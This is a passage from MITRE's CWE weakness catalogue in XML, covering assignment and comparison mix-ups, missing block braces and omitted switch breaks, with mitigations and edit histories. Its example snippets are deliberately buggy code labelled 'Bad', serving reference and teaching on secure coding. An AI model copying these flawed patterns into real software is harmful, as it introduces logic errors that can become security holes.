                  <xhtml:div>public void checkValid(boolean isValid) {<xhtml:div style="margin-left:1em;">if (!isValid) {<xhtml:div style="margin-left:1em;">System.out.println("Not Valid, do not perform processing");<xhtml:br/>return;</xhtml:div>}<xhtml:br/>System.out.println("Performing processing");<xhtml:br/>doSomethingImportant();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void called(int foo){<xhtml:div style="margin-left:1em;">if (foo=1) printf("foo\n");</xhtml:div>}<xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>called(2);<xhtml:br/>return 0;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Assigning instead of comparing</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP45-C</Entry_ID>
               <Entry_Name>Do not perform assignments in selection statements</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Typos&#34;, Page 289"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="482" Name="Comparing instead of Assigning" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The code uses an operator for comparison when the intention was to perform an assignment.</Description>
         <Extended_Description>In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="480" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This bug primarily originates from a typo.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Note>The assignment will not take place, which should cause obvious program execution problems.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Many IDEs and static analysis products will detect this problem.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>void called(int foo) {<xhtml:div style="margin-left:1em;">foo==1;<xhtml:br/>if (foo==1) System.out.println("foo\n");</xhtml:div>}<xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>called(2);<xhtml:br/>return 0;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-103">
               <Intro_Text>The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define SIZE 50<xhtml:br/>int *tos, *p1, stack[SIZE];<xhtml:br/>
                     <xhtml:br/>void push(int i) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>p1++;<xhtml:br/>if(p1==(tos+SIZE)) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// Print stack overflow error message and exit</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>*p1 == i;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int pop(void) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if(p1==tos) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// Print stack underflow error message and exit</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>p1--;<xhtml:br/>return *(p1+1);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main(int argc, char *argv[]) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// initialize tos and p1 to point to the top of stack</xhtml:i>
                           <xhtml:br/>tos = stack;<xhtml:br/>p1 = stack;<xhtml:br/>
                           <xhtml:i>// code to add and remove items from stack</xhtml:i>
                           <xhtml:br/>...<xhtml:br/>return 0;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.</Body_Text>
               <Body_Text>However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Comparing instead of assigning</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP2</Entry_ID>
               <Entry_Name>Unused Entities</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Typos&#34;, Page 289"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Modes_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="483" Name="Incorrect Block Delimitation" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.</Description>
         <Extended_Description>In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="670" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Note>This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced it into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Always use explicit block delimitation and use static-analysis technologies to enforce this practice.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (condition==true)<xhtml:div style="margin-left:1em;">Do_X();<xhtml:br/>Do_Y();</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example, the programmer has indented the Do_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do_X() was called on the same line as the conditional and there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (condition==true) Do_X();<xhtml:div style="margin-left:1em;">Do_Y();</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-1266</Reference>
               <Description>incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail")</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-1266</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Incorrect block delimitation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Michael Koo and Paul Black</Contribution_Name>
               <Contribution_Organization>NIST</Contribution_Organization>
               <Contribution_Date>2010-04-28</Contribution_Date>
               <Contribution_Comment>Correction to Demonstrative Examples</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="484" Name="Omitted Break Statement in Switch" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.</Description>
         <Extended_Description>This can lead to critical code executing in situations where it should not.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="670" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Note>This weakness can cause unintended logic to be executed and other unexpected application behavior.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>White Box</Method>
               <Description>Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected product behavior is required to interpret whether the code is correct.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.</Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In both of these examples, a message is printed based on the month passed into the function:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void printMessage(int month){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>switch (month) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>case 1: print("January");<xhtml:br/>case 2: print("February");<xhtml:br/>case 3: print("March");<xhtml:br/>case 4: print("April");<xhtml:br/>case 5: print("May");<xhtml:br/>case 6: print("June");<xhtml:br/>case 7: print("July");<xhtml:br/>case 8: print("August");<xhtml:br/>case 9: print("September");<xhtml:br/>case 10: print("October");<xhtml:br/>case 11: print("November");<xhtml:br/>case 12: print("December");</xhtml:div>
                           </xhtml:div>}<xhtml:br/>println(" is a great month");</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void printMessage(int month){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>switch (month) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>case 1: printf("January");<xhtml:br/>case 2: printf("February");<xhtml:br/>case 3: printf("March");<xhtml:br/>case 4: printf("April");<xhtml:br/>case 5: printff("May");<xhtml:br/>case 6: printf("June");<xhtml:br/>case 7: printf("July");<xhtml:br/>case 8: printf("August");<xhtml:br/>case 9: printf("September");<xhtml:br/>case 10: printf("October");<xhtml:br/>case 11: printf("November");<xhtml:br/>case 12: printf("December");</xhtml:div>
                           </xhtml:div>}<xhtml:br/>printf(" is a great month");</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Omitted break statement</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Switch Statements&#34;, Page 337"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Detection_Factors, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, Name, Other_Notes, Potential_Mitigations, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
